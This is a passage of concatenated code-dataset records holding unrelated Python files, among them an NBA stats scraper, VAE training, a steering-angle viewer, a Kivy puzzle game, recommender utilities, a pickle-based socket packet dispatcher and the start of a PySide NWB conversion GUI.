mobile=str(mobile).lower(),\n screen_wait=screen_wait_ms,\n headers=json.dumps(headers),\n page_info_file=inf_tmp.replace('\\\\', '\\\\\\\\'))\n open(js_tmp, 'wb').write(rendered.encode())\n return js_tmp, img_tmp, inf_tmp\n\ndef run(script_path, node_path='node'):\n cmd = [node_path, script_path]\n try:\n subprocess.check_call(cmd, timeout=60)\n except Exception as e:\n logger.error('Failed to call node: '+str(e))\n return False\n return True\n","sub_path":"js/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":1693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"634390549","text":"def make_dict(train_dir):\n emails = [os.path.join(train_dir, f) for f in os.listdir(train_dir)]\n all_words = []\n for mail in emails:\n with open(mail, encoding='latin-1') as m:\n for i, line in enumerate(m):\n if i == 1: # Body of email is only 3rd line of text file\n words = line.split()\n all_words += words\n\n dictionary = Counter(all_words)\n\n for item in list(dictionary):\n if item.isalpha() == False:\n del dictionary[item]\n elif len(item) == 1:\n del dictionary[item]\n dictionary = dictionary.most_common(100)\n return dictionary\n\nimport os\nimport numpy as np\nfrom collections import Counter\n\nham_dict = make_dict('./ham')\nspam_dict = make_dict('./spam')\n\nprint(ham_dict)\nprint(spam_dict)\n","sub_path":"data/spam_feature_extractor.py","file_name":"spam_feature_extractor.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"186188559","text":"def higherVersion2(ver1, ver2):\n list1 = list(ver1)\n list2 = list(ver2)\n sub = ord(\"0\")\n check = 0\n while(len(list1)!=0):\n log = 1\n sum1 = 0\n tmp = []\n while(len(list1)!=0 and list1[0]!=\".\"):\n tmp.append(list1.pop(0))\n n = len(tmp)\n for i in range(0,n):\n sum1 = sum1 + log*(ord(tmp[n-i-1])-sub)\n log = log*10\n log = 1\n sum2 = 0\n tmp = []\n while( len(list2)!=0 and list2[0]!=\".\"):\n tmp.append(list2.pop(0))\n n = len(tmp)\n for i in range(0,n):\n sum2 = sum2 + log*(ord(tmp[n-i-1])-sub)\n log = log*10\n if sum1 > sum2:\n check =1\n break\n elif sum2 > sum1:\n check = -1\n break\n if len(list1)!=0:\n list1.pop(0)\n list2.pop(0)\n return check\n","sub_path":"InterviewPractice/Sorting&Searching/Sorting/higherVersion2.py","file_name":"higherVersion2.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"531674951","text":"import datetime\nimport pandas as pd\nfrom Scrapper import Scrapper\n\n\ndef get_date(days: int):\n date = datetime.date.today() - datetime.timedelta(days=days)\n return date.strftime('%Y-%m-%d')\n\n\ndef merge_news_old(new_df, old_df):\n return pd.concat([new_df, old_df], sort=False).drop_duplicates().reset_index(drop=True)\n\n\ndef get_data(url, datasets_name):\n HEADERS = {\n 'Referer': 'https://stats.nba.com',\n 'Origin': 'https://stats.nba.com',\n 'x-nba-stats-token': 'true',\n 'x-nba-stats-origin': 'stats',\n 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36'\n }\n\n scrapper = Scrapper(headers=HEADERS, max_call_errors=5)\n json = scrapper.retrieve_json_api_from_url(url=url)\n\n if json == None:\n return None\n\n dfs = {}\n for elem in json['resultSets']:\n if elem['name'] not in datasets_name:\n continue\n\n df = pd.DataFrame(elem['rowSet'], columns=elem['headers'])\n dfs[elem['name']] = df\n\n return dfs\n\n\ndef get_game_detail(game_id):\n if type(game_id) != type(str()):\n game_id = '00' + str(game_id)\n\n url = 'https://stats.nba.com/stats/boxscoretraditionalv2?EndPeriod=10&EndRange=0&GameID='+str(game_id) \\\n + '&RangeType=0&Season=2019-20&SeasonType=Regular+Season&StartPeriod=1&StartRange=0'\n\n print(url)\n df = get_data(url, datasets_name=['PlayerStats'])\n return df['PlayerStats']\n","sub_path":"scripts/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"474681663","text":"\n\"\"\"Training method\"\"\"\n\nimport argparse\nimport json\nimport os\nimport pathlib\nfrom typing import Union\n\nimport numpy as np\nimport torch\nfrom torch.backends import cudnn\nimport pytorch_lightning as pl\n\nimport dgmvae.models as dvm\n\nfrom experiment import VAEUpdater\n\n\ndef main():\n\n # -------------------------------------------------------------------------\n # 1. Settings\n # -------------------------------------------------------------------------\n\n # Kwargs\n args = init_args()\n\n # Configs\n condig_path = os.getenv(\"CONFIG_PATH\", \"./src/config_ch1.json\")\n with pathlib.Path(condig_path).open() as f:\n config = json.load(f)\n\n # Path\n root = pathlib.Path(os.getenv(\"DATA_ROOT\", \"./data/mnist/\"))\n save_path = pathlib.Path(os.getenv(\"SAVE_PATH\", \"./logs/\"),\n os.getenv(\"EVALUATION_NAME\", \"dev\"))\n model_path = save_path / \"representation\"\n dataset = os.getenv(\"DATASET_NAME\", \"mnist\")\n\n # Cuda setting\n use_cuda = torch.cuda.is_available() and args.cuda != \"null\"\n gpus = args.cuda if use_cuda else None\n\n # Random seed\n torch.manual_seed(args.seed)\n np.random.seed(args.seed)\n cudnn.deterministic = True\n cudnn.benchmark = False\n\n # -------------------------------------------------------------------------\n # 2. Training\n # -------------------------------------------------------------------------\n\n # VAE model\n model_dict = {\n \"beta\": dvm.BetaVAE,\n \"factor\": dvm.FactorVAE,\n \"dipi\": dvm.DIPVAE,\n \"dipii\": dvm.DIPVAE,\n \"joint\": dvm.JointVAE,\n \"tcvae\": dvm.TCVAE,\n \"aae\": dvm.AAE,\n \"avb\": dvm.AVB,\n }\n model = model_dict[args.model](**config[f\"{args.model}_params\"])\n\n # Updater\n updater = VAEUpdater(model, args, dataset, root, args.batch_size)\n\n # Trainer\n params = {\n \"default_save_path\": save_path,\n \"gpus\": gpus,\n \"early_stop_callback\": None,\n \"max_steps\": args.steps,\n \"log_save_interval\": args.log_save_interval,\n }\n trainer = pl.Trainer(**params)\n\n # Run\n trainer.fit(updater)\n\n # Export model\n model_path.mkdir()\n ch_num = config[f\"{args.model}_params\"][\"channel_num\"]\n export_model(updater.model, str(model_path / \"pytorch_model.pt\"),\n input_shape=(1, ch_num, 64, 64))\n\n\ndef export_model(model: Union[torch.nn.Module, torch.jit.ScriptModule],\n path: Union[str, pathlib.Path],\n input_shape: tuple = (1, 3, 64, 64),\n use_script_module: bool = True\n ) -> Union[str, pathlib.Path]:\n \"\"\"Exports model.\n\n Args:\n model (torch.nn.Module or torch.jit.ScriptModule): Saved model.\n path (str or pathlib.Path): Path to file.\n input_shape (tuple, optional): Tuple of input data shape.\n use_script_module (bool, optional): Boolean flag for using script\n module.\n\n Returns:\n path (str or pathlib.Path): Path to saved file.\n \"\"\"\n\n model = model.cpu().eval()\n if isinstance(model, torch.jit.ScriptModule):\n assert use_script_module, \\\n \"Provided model is a ScriptModule, set use_script_module to True.\"\n if use_script_module:\n if not isinstance(model, torch.jit.ScriptModule):\n assert input_shape is not None\n traced_model = torch.jit.trace(model, torch.zeros(*input_shape))\n else:\n traced_model = model\n torch.jit.save(traced_model, path)\n else:\n torch.save(model, path) # saves model as a nn.Module\n return path\n\n\ndef init_args():\n parser = argparse.ArgumentParser(description=\"VAE training\")\n parser.add_argument(\"--model\", type=str, default=\"beta\")\n parser.add_argument(\"--cuda\", type=str, default=\"0\")\n parser.add_argument(\"--seed\", type=int, default=0)\n parser.add_argument(\"--steps\", type=int, default=100)\n parser.add_argument(\"--batch-size\", type=int, default=64)\n parser.add_argument(\"--log-save-interval\", type=int, default=100)\n\n return parser.parse_args()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"src/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"408968786","text":"#!/usr/bin/env python\nimport argparse\nimport sys\nimport numpy as np\nimport h5py\nimport pygame\nimport json\nimport matplotlib.pyplot as plt\nfrom keras.models import model_from_json\n\npygame.init()\nsize = (320*2, 160*2)\npygame.display.set_caption(\"Viewer\")\nscreen = pygame.display.set_mode(size, pygame.DOUBLEBUF)\n\ncamera_surface = pygame.surface.Surface((320,160),0,24).convert()\n\n# ***** get perspective transform for images *****\nfrom skimage import transform as tf\n\nrsrc = \\\n [[43.45456230828867, 118.00743250075844],\n [104.5055617352614, 69.46865203761757],\n [114.86050156739812, 60.83953551083698],\n [129.74572757609468, 50.48459567870026],\n [132.98164627363735, 46.38576532847949],\n [301.0336906326895, 98.16046448916306],\n [238.25686790036065, 62.56535881619311],\n [227.2547443287154, 56.30924933427718],\n [209.13359962247614, 46.817221154818526],\n [203.9561297064078, 43.5813024572758]]\nrdst = \\\n [[10.822125594094452, 1.42189132706374],\n [21.177065426231174, 1.5297552836484982],\n [25.275895776451954, 1.42189132706374],\n [36.062291434927694, 1.6376192402332563],\n [40.376849698318004, 1.42189132706374],\n [11.900765159942026, -2.1376192402332563],\n [22.25570499207874, -2.1376192402332563],\n [26.785991168638553, -2.029755283648498],\n [37.033067044190524, -2.029755283648498],\n [41.67121717733509, -2.029755283648498]]\n\ntform3_img = tf.ProjectiveTransform()\ntform3_img.estimate(np.array(rdst), np.array(rsrc))\n\ndef perspective_tform(x, y):\n p1, p2 = tform3_img((x,y))[0]\n return p2, p1\n\n# ***** functions to draw lines *****\ndef draw_pt(img, x, y, color, sz=1):\n row, col = perspective_tform(x, y)\n if row >= 0 and row < img.shape[0] and \\\n col >= 0 and col < img.shape[1]:\n img[int(row-sz):int(row+sz), int(col-sz):int(col+sz)] = color\n\ndef draw_path(img, path_x, path_y, color):\n for x, y in zip(path_x, path_y):\n draw_pt(img, x, y, color)\n\n# ***** functions to draw predicted path *****\n\ndef calc_curvature(v_ego, angle_steers, angle_offset=0):\n deg_to_rad = np.pi/180.\n slip_fator = 0.0014 # slip factor obtained from real data\n steer_ratio = 15.3 # from http://www.edmunds.com/acura/ilx/2016/road-test-specs/\n wheel_base = 2.67 # from http://www.edmunds.com/acura/ilx/2016/sedan/features-specs/\n\n angle_steers_rad = (angle_steers - angle_offset) * deg_to_rad\n curvature = angle_steers_rad/(steer_ratio * wheel_base * (1. + slip_fator * v_ego**2))\n return curvature\n\ndef calc_lookahead_offset(v_ego, angle_steers, d_lookahead, angle_offset=0):\n #*** this function returns the lateral offset given the steering angle, speed and the lookahead distance\n curvature = calc_curvature(v_ego, angle_steers, angle_offset)\n\n # clip is to avoid arcsin NaNs due to too sharp turns\n y_actual = d_lookahead * np.tan(np.arcsin(np.clip(d_lookahead * curvature, -0.999, 0.999))/2.)\n return y_actual, curvature\n\ndef draw_path_on(img, speed_ms, angle_steers, color=(0,0,255)):\n path_x = np.arange(0., 50.1, 0.5)\n path_y, _ = calc_lookahead_offset(speed_ms, angle_steers, path_x)\n draw_path(img, path_x, path_y, color)\n\n# ***** main loop *****\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Path viewer')\n parser.add_argument('model', type=str, help='Path to model definition json. Model weights should be on the same path.')\n parser.add_argument('--dataset', type=str, default=\"2016-06-02--21-39-29\", help='Dataset/video clip name')\n parser.add_argument('--start', type=int, default=\"300\", help='Video testing start point (in sec)')\n parser.add_argument('--end', type=int, default=\"3000\", help='Video testing end point (in sec)') #need to set a valid end point\n parser.add_argument('--time', type=int, default=\"1\", help='Time Sequence length')\n args = parser.parse_args()\n out_file=list()\n dataset = args.dataset\n skip = args.start\n\n with open(args.model, 'r') as jfile:\n model = model_from_json(json.load(jfile))\n\n model.compile(\"sgd\", \"mse\")\n weights_file = args.model.replace('json', 'keras')\n model.load_weights(weights_file)\n print(model.summary())\n\n # default dataset is the validation data on the highway\n log = h5py.File(\"dataset/log/\"+dataset+\".h5\", \"r\") #log = h5py.File(\"dataset/log/2016-06-02--21-39-29.h5\", \"r\")\n cam = h5py.File(\"dataset/camera/\"+dataset+\".h5\", \"r\")\n print (log.keys())\n\n # skip to highway\n for i in range(skip*100, min(log['times'].shape[0], args.end*100)):\n if i%100 == 0:\n print (\"%.2f seconds elapsed\" % (i/100.0))\n\n '''For CNN model. However the image is used for viewer'''\n img = cam['X'][log['cam1_ptr'][i]].swapaxes(0,2).swapaxes(0,1)\n '''This is for CNN-LSTM Model.'''\n if args.time>1 :\n #img_2 = np.array((cam['X'][log['cam1_ptr'][i]]))\n #speed_ms = np.array([log['speed'][i]])\n #predicted_steers = model.predict([img_2[None, :, :, :], speed_ms[None, :, None]])[0][0][0]\n img_2 = np.array((cam['X'][log['cam1_ptr'][i]], cam['X'][log['cam1_ptr'][i+7]]))\n speed_ms = np.array((log['speed'][i],log['speed'][i+7]))\n predicted_steers = model.predict([img_2[None, :, :, :, :], speed_ms[None, :, None]])[0][0][0]\n\n else :\n predicted_steers = model.predict(img[None, :, :, :].transpose(0, 3, 1, 2))[0][0]\n\n print(predicted_steers)\n angle_steers = log['steering_angle'][i]\n speed_ms = log['speed'][i]\n out_file.append([i, predicted_steers, angle_steers, speed_ms])\n\n draw_path_on(img, speed_ms, -angle_steers/10.0)\n draw_path_on(img, speed_ms, -predicted_steers/10.0, (0, 255, 0))\n # draw on\n pygame.surfarray.blit_array(camera_surface, img.swapaxes(0,1))\n camera_surface_2x = pygame.transform.scale2x(camera_surface)\n screen.blit(camera_surface_2x, (0,0))\n pygame.display.flip()\n\n x=np.array(out_file)\n np.savetxt(\"./outputs/steering_model/out\"+args.dataset+\"---\"+ str(args.start)+ \"-\"+ str(args.end)+\".txt\",x, fmt=\"%4.3f\")\n\n #View both actual vs real\n x=x.transpose()\n plt.plot(x[0],x[1], '-g')\n plt.plot(x[0],x[2], '-b')\n plt.xlabel('Time (in ms)')\n plt.title(\"Plot of Actual and Predicted Steering -- dataset -- \" + args.dataset)\n plt.ylabel('Angle Value (in degrees)')\n plt.savefig(\"./outputs/steering_model/act_vs_predict\"+args.dataset+\"---start-\"+ str(args.start)+ \"-end-\"+ str(args.end)+\".png\",format='eps', dpi=1000)\n plt.show()\n\n #View Error\n plt.plot(x[0], x[1]-x[2], '-r')\n plt.title(\"Plot of Error between Actual-Predicted -- dataset -- \" + args.dataset)\n plt.xlabel('Time (in ms)')\n plt.ylabel('Error (in degrees)')\n plt.savefig(\"./outputs/steering_model/error_plot\"+args.dataset+\"---start-\"+ str(args.start)+ \"-end-\"+ str(args.end)+\".png\",format='eps', dpi=1000)\n plt.show()\n'''\nplt.scatter(dates,values)\nplt.plot(dates, values)\nplt.show()\n'''\n ","sub_path":"view_steering_model.py","file_name":"view_steering_model.py","file_ext":"py","file_size_in_byte":6695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"605947946","text":"\"\"\"The main program \"\"\"\nfrom classes import *\nfrom kivy.uix.gridlayout import GridLayout\nfrom kivy.clock import Clock\nfrom kivy.graphics import Rectangle\n \n\nclass RootWidget(BoxLayout):\n\n def __init__(self,imageOfPuzzleChoosed,**kwargs):\n super(RootWidget, self).__init__(**kwargs)\n self.orientation=\"vertical\"\n self.labelTimer=Label(text=\"0 : 00\",size_hint=(0.25,0.1))\n self.seconds=0\n self.minutes=0\n Clock.schedule_interval(self.timer,1)\n self.buttonGiveUp=Button(text=\"Abandonner\",size_hint=(0.25,0.1),on_press=self.giveUp)\n self.boxOfPieces=GridLayout(cols=NB_PIECE_ROW_BOARD,size_hint=(1, 0.25))\n #self.boardPuzzle=Rectangle(pos=self.pos,size=self.size)\n self.add_widget(KvImage(source=\"images/foret.jpg\"))\n self.add_widget(self.labelTimer)\n self.add_widget(self.buttonGiveUp)\n #self.add_widget(self.boardPuzzle)\n self.add_widget(self.boxOfPieces)\n self.puzzle=Puzzle(imageOfPuzzleChoosed,WIDTH_PUZZLE,HEIGHT_PUZZLE,WIDTH_PIECE,HEIGHT_PIECE)\n self.click=ListProperty([0, 0])\n\n def timer(self,dt):\n self.seconds+=1\n if self.seconds==60:\n self.minutes+=1\n self.seconds=0\n self.labelTimer.text=f\"{self.minutes} : {self.seconds}\" \n\n def on_touch_down(self,touch):\n if self.collide_point(*touch.pos):\n self.click=touch.pos\n return True\n return super(RootWidget, self).on_touch_down(touch)\n\n def on_click(self,instance,pos):\n print('pressed at {pos}'.format(pos=pos))\n\n def giveUp(self,button):\n print(\"perdu\")\n\n\ndef displayHomeScreen():\n \"\"\"Display the home window of the game with the main menu\n #Button(text=\"Jouer\")\n Button(text=\"Importer 1 puzzle\")\n Button(text=\"Statistiques\")\n Button(text=\"Quitter\")\"\"\"\n pass\n\n\nclass MyApp(App):\n def build(self):\n imageOfPuzzleChoosed=\"images/foret.jpg\"\n root=RootWidget(imageOfPuzzleChoosed)\n displayHomeScreen()\n root.puzzle.makePartition(root.boxOfPieces)\n return root\n\n\nif __name__==\"__main__\":\n\tMyApp().run()","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":2013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"150851124","text":"import os\n\nimport pandas as pd\nimport numpy as np\n\nfrom sklearn.cross_validation import train_test_split\nfrom sklearn.metrics import mean_squared_error\n\n\ndef read_ratings(file_path, sep='::'):\n \"\"\"\n Reads the ratings file into a user x item DataFrame. Ratings are stored in 'database' form.\n Where each line is in the form: \n Unkown values are 0 and ratings are on a 1-5 scale\n :param file_path: The ratings file path\n :param sep: The separator between items\n :return: The user x item ratings DataFrame\n \"\"\"\n ratings_file = os.path.abspath(file_path)\n column_names = ['userId', 'movieId', 'rating', 'timestamp']\n ratings = pd.read_csv(ratings_file, names=column_names, sep=sep, engine='python')\n ratings = ratings.drop('timestamp', axis=1)\n ratings[['userId', 'movieId']] = ratings[['userId', 'movieId']].astype('int32')\n ratings[['rating']] = ratings[['rating']].astype('int8')\n ratings = ratings.pivot('userId', 'movieId', 'rating').fillna(value=0)\n return ratings\n\n\ndef get_ratings_sparsity(ratings):\n \"\"\"\n Calculates the sparsity of the ratings matrix\n :param ratings: The user x item ratings DataFrame\n :type ratings: DataFrame\n :return: The percentage sparsity of the DataFrame\n \"\"\"\n sparsity = float(len(ratings.values.nonzero()[0]))\n sparsity /= (ratings.shape[0] * ratings.shape[1])\n sparsity *= 100\n\n return sparsity\n\n\ndef split_train_test(ratings, test_ratio=0.2):\n \"\"\"\n Split the ratings matrix into test and train matrices.\n :param ratings: The original user x item ratings DataFrame\n :type ratings: DataFrame\n :param test_ratio: The ratio of ratings to take for the test dataset\n :type test_ratio: float\n :return: The train and test ratings dataFrames\n \"\"\"\n test = pd.DataFrame(np.zeros(ratings.shape), index=ratings.index, columns=ratings.columns)\n train = pd.DataFrame(np.zeros(ratings.shape), index=ratings.index, columns=ratings.columns)\n\n for user in xrange(ratings.shape[0]):\n user_ratings_indexes = ratings.iloc[user, :].nonzero()[0]\n train_indexes, test_indexes = train_test_split(user_ratings_indexes, test_size=test_ratio)\n train.iloc[user, train_indexes] = ratings.iloc[user, train_indexes]\n test.iloc[user, test_indexes] = ratings.iloc[user, test_indexes]\n\n return train, test\n\n\ndef get_rmse(predicted, actual):\n \"\"\"\n Calculates the root mean squared error between the predicted and actual ratings DataFrames\n :param predicted: The predicted ratings\n :type predicted: DataFrame\n :param actual: The actual ratings\n :type actual: DataFrame\n :return: root mean squared error\n \"\"\"\n return np.sqrt(mean_squared_error(actual.values[actual.values.nonzero()].flatten(),\n predicted.values[actual.values.nonzero()].flatten()))\n\n\ndef clamp(x, floor=1, ceiling=5):\n \"\"\"\n Clamps a value between the values floor and ceiling\n :param x: The value to be clamped\n :param floor: The minimum value for x\n :param ceiling: The maximum value for x\n :return: The clamped value of x\n \"\"\"\n if x > ceiling:\n x = ceiling\n elif x < floor:\n x = floor\n return x","sub_path":"py/extras.py","file_name":"extras.py","file_ext":"py","file_size_in_byte":3259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"74986074","text":"# Given a sequence of non-negative integers, where each number is written in a separate line. The sequence ends with 0. Determine the length of the widest fragment where all the elements are equal to each other.\n\ndef widest_fragment(nums):\n max_fragment = 1\n fragment = 1\n for i in range(len(nums)-1):\n if nums[i] == nums[i+1]:\n fragment +=1\n if fragment > max_fragment:\n max_fragment = fragment\n else:\n fragment = 1\n return max_fragment\n \n\nprint(widest_fragment([2,2,7,7,7,7,7,7,9,9,9,9,9])) # 6","sub_path":"Warm-Ups/While_Loops/widest_fragment.py","file_name":"widest_fragment.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"431134801","text":"from __future__ import absolute_import\n\nfrom functools import partial\nimport cPickle as pickle\nimport socket\nimport threading\nimport zlib\nimport re\n\nfrom utils.misc import check_type, ignored, consume\n\n\nclass Packet(object):\n \"\"\"This class is responsible for the packing and unpacking of data. A packet consists of a\n simple fixed-length header containing the size (base 10 integer, in bytes) of the packet's\n payload, followed by the actual payload. The payload is nothing but the pickle dump (a string)\n of a given object. Use Packet.pack(obj) to create a packet from an object, or Packet.append()\n to accumulate the pickle of an object and then Packet.unpack() it.\"\"\"\n HEADER_SIZE = 15\n HEADER_FORMAT = \"\"\n HEADER_REGEX = re.compile(\"^\\d{10})C(?P\\d)>\")\n\n __slots__ = (\"header\", \"compressed\", \"payload_size\", \"payload\")\n\n def __init__(self):\n self.header = \"\"\n self.compressed = None\n self.payload_size = None\n self.payload = None\n\n @classmethod\n def from_data(cls, data):\n packet = cls()\n packet.append(data)\n return packet\n\n def clear(self):\n self.header = \"\"\n self.compressed = None\n self.payload_size = None\n self.payload = None\n\n reset = clear\n\n def append(self, data):\n check_type(data, basestring)\n if self.payload_size is None:\n self.header += data\n self.parse_header()\n else:\n self.payload += data\n if self.payload_size is not None and len(self.payload) > self.payload_size:\n raise Exception(\"current payload size exceeds size declared in header\")\n\n def parse_header(self):\n if self.payload_size is None and len(self.header) >= Packet.HEADER_SIZE:\n buff = self.header\n match = type(self).HEADER_REGEX.match(buff)\n self.compressed = bool(int(match.group(\"compressed\")))\n self.payload_size = int(match.group(\"payload_size\"))\n self.header = buff[:Packet.HEADER_SIZE]\n self.payload = buff[Packet.HEADER_SIZE:]\n\n @property\n def remaining(self):\n \"\"\"Returns the number of bytes missing from the packet's payload, or, if the header is\n still incomplete (so we don't know the size of the payload), returns the number of bytes\n remaining in the header.\"\"\"\n if self.payload_size is None:\n return Packet.HEADER_SIZE - len(self.header)\n else:\n return self.payload_size - len(self.payload)\n\n @property\n def is_empty(self):\n return len(self.header) == 0\n\n @property\n def is_complete(self):\n if self.payload_size is None:\n return False\n assert len(self.payload) <= self.payload_size\n return len(self.payload) == self.payload_size\n\n @classmethod\n def pack(cls, data, compress=False):\n payload = to_pickle(data)\n if compress:\n payload = zlib.compress(payload)\n packet = cls()\n packet.header = cls.HEADER_FORMAT.format(payload_size=len(payload), compressed=compress)\n packet.compressed = compress\n packet.payload_size = len(payload)\n packet.payload = payload\n return packet\n\n def unpack(self):\n if not self.is_complete:\n raise Exception(\"cannot unpack incomplete packet\")\n pickled_data = self.payload if not self.compressed else zlib.decompress(self.payload)\n return from_pickle(pickled_data)\n\n\nclass PacketDispatcher(object):\n \"\"\"This class uses a socket to communicate with other PacketDispatchers via TCP/IP (lan, wan,\n localhost, you name it :P). Sent data is wrapped with the Packet class, which adds a fixed-\n -length header to the data.\"\"\"\n TIMEOUT = 1.0 # second\n\n __slots__ = (\"socket\", \"packet\", \"running\", \"on_data_received\")\n\n def __init__(self, socket, on_data_received=None):\n self.socket = socket # the socket used by the packet dispatcher\n self.socket.settimeout(self.TIMEOUT) # make socket asynchronous\n self.packet = Packet() # used for accumulating messages\n self.running = False # running flag\n self.on_data_received = on_data_received # callback run when a packet is complete\n\n def wait_for_data(self, separate_thread=False):\n if separate_thread:\n thread = threading.Thread(target=partial(consume, self._wait_for_data))\n thread.start()\n else:\n return self._wait_for_data()\n\n def _wait_for_data(self):\n if self.running:\n raise Exception(\"already waiting for data\")\n self.running = True\n while self.running:\n while self.running and not self.packet.is_complete:\n with ignored(socket.timeout):\n received = self.socket.recv(self.packet.remaining)\n if len(received) == 0: # connection closed from the other side\n self.shutdown()\n break\n self.packet.append(received)\n if self.packet.is_complete:\n data = self.packet.unpack()\n self.packet.clear()\n if self.on_data_received is not None:\n self.on_data_received(data)\n yield data\n if not self.packet.is_empty:\n raise Exception(\"incomplete packet remains unhandled\")\n\n def stop(self):\n self.running = False\n\n def shutdown(self):\n self.stop()\n self.socket.shutdown(socket.SHUT_RDWR)\n self.socket.close()\n\n def send(self, data, compress=False):\n packet = data if isinstance(data, Packet) else Packet.pack(data, compress=compress)\n self.socket.sendall(packet.header)\n self.socket.sendall(packet.payload)\n\n\nPacket.Dispatcher = PacketDispatcher\n\n\ndef to_pickle(obj):\n \"\"\"Creates a pickle from an object, calling __preserialize__() and __postserialize__() on the\n object if available. Data can be temporarily modified/removed from the object and returned by\n __preserialize__(). Any data returned by __preserialize__() will then be passed on to\n __postserialize__() so that the object's original state may be restored.\"\"\"\n cls = type(obj)\n pre_serialize = getattr(cls, \"__preserialize__\", None)\n temp_data = None\n if callable(pre_serialize):\n temp_data = pre_serialize(obj)\n pickled_obj = pickle.dumps(obj)\n post_serialize = getattr(cls, \"__postserialize__\", None)\n if callable(post_serialize):\n post_serialize(obj, temp_data)\n return pickled_obj\n\n\ndef from_pickle(pickled_obj):\n \"\"\"Opposite of to_pickle() (obviously). Calls __postdeserialize__() on the object if its class\n provides it and if it is a callable.\"\"\"\n obj = pickle.loads(pickled_obj)\n cls = type(obj)\n post_deserialize = getattr(cls, \"__postdeserialize__\", None)\n if callable(post_deserialize):\n post_deserialize(obj)\n return obj\n","sub_path":"utils/packet.py","file_name":"packet.py","file_ext":"py","file_size_in_byte":7082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"360767562","text":"import sys\nfrom collections import deque\n\n# 송아지 찾기(BFS : 상태트리탐색)\n\n# sys.stdin = open(\"input.txt\", 'r')\n\nMAX = 10000\nch = [0] * (MAX + 1) # 방문 여부 체크\ndis = [0] * (MAX + 1) # 거리 기록\n\nn, m = map(int, input().split())\nch[n] = 1\ndis[n] = 0\ndQ = deque()\ndQ.append(n)\n\nwhile dQ:\n now = dQ.popleft()\n if now == m:\n break\n\n for next in (now - 1, now + 1, now + 5):\n if 0 < next <= MAX and ch[next] == 0:\n dQ.append(next)\n ch[next] = 1\n dis[next] = dis[now] + 1\n\n\nprint(dis[m])","sub_path":"section7/7-7.py","file_name":"7-7.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"23989528","text":"from PySide2 import QtCore\nfrom PySide2.QtWebEngineWidgets import QWebEngineView\nfrom PySide2.QtWidgets import (QMainWindow, QWidget, QApplication, QAction,\n QPushButton, QLineEdit, QTextEdit, QVBoxLayout,\n QGridLayout, QSplitter, QLabel, QFileDialog,\n QMessageBox, QComboBox, QScrollArea, QStyle,\n QGroupBox, QCheckBox, QTabWidget)\nfrom nwb_conversion_tools.gui.classes.console_widget import ConsoleWidget\nfrom nwb_conversion_tools.gui.classes.forms_general import GroupNwbfile, GroupSubject\nfrom nwb_conversion_tools.gui.classes.forms_ophys import GroupOphys\nfrom nwb_conversion_tools.gui.classes.forms_ecephys import GroupEcephys\nfrom nwb_conversion_tools.gui.classes.forms_behavior import GroupBehavior\nfrom nwb_conversion_tools.gui.classes.forms_ogen import GroupOgen\nfrom nwb_conversion_tools.gui.utils.name_references import name_to_gui_class\n\nimport numpy as np\nimport nbformat as nbf\nfrom pathlib import Path\nimport tempfile\nimport socket\nimport psutil\nimport shutil\nimport datetime\nimport importlib\nimport yaml\nimport sys\nimport os\n\n\nclass Application(QMainWindow):\n def __init__(self, metafile=None, conversion_module=None, source_paths=None,\n kwargs_fields=None, extension_modules=None, extension_forms=None,\n show_add_del=False, nwbfile_loc=None, conversion_class=None, nwbwidgets=True):\n super().__init__()\n # Dictionary storing source files paths\n self.source_paths = source_paths\n # Path to conversion module .py file\n self.conversion_module_path = conversion_module\n # Dictionary storing custom boolean options (to form checkboxes)\n self.kwargs_fields = kwargs_fields\n # Boolean control to either show/hide the option for add/del Groups\n self.show_add_del = show_add_del\n # Extension modules\n self.extension_modules = extension_modules\n # Updates name_to_gui_class with extension classes\n self.name_to_gui_class = name_to_gui_class\n if extension_forms:\n self.name_to_gui_class.update(extension_forms)\n # Temporary folder path\n self.temp_dir = tempfile.mkdtemp()\n # default nwbfile save location:\n self.nwbfile_loc = nwbfile_loc\n # conversion_class:\n self.conversion_class = conversion_class\n\n self.resize(1200, 900)\n self.setWindowTitle('NWB:N conversion tools')\n\n # Initialize GUI elements\n self.init_gui()\n self.init_meta_tab()\n self.load_meta_file(filename=metafile)\n if nwbwidgets:\n self.init_nwb_explorer()\n self.show()\n\n def init_gui(self):\n \"\"\"Initiates GUI elements.\"\"\"\n mainMenu = self.menuBar()\n\n fileMenu = mainMenu.addMenu('File')\n action_choose_conversion = QAction('Choose conversion module', self)\n fileMenu.addAction(action_choose_conversion)\n action_choose_conversion.triggered.connect(self.load_conversion_module)\n\n helpMenu = mainMenu.addMenu('Help')\n action_about = QAction('About', self)\n helpMenu.addAction(action_about)\n action_about.triggered.connect(self.about)\n\n self.tabs = QTabWidget()\n self.setCentralWidget(self.tabs)\n\n def init_meta_tab(self):\n # Center panels -------------------------------------------------------\n self.groups_list = []\n\n # Left-side panel: forms\n self.btn_load_meta = 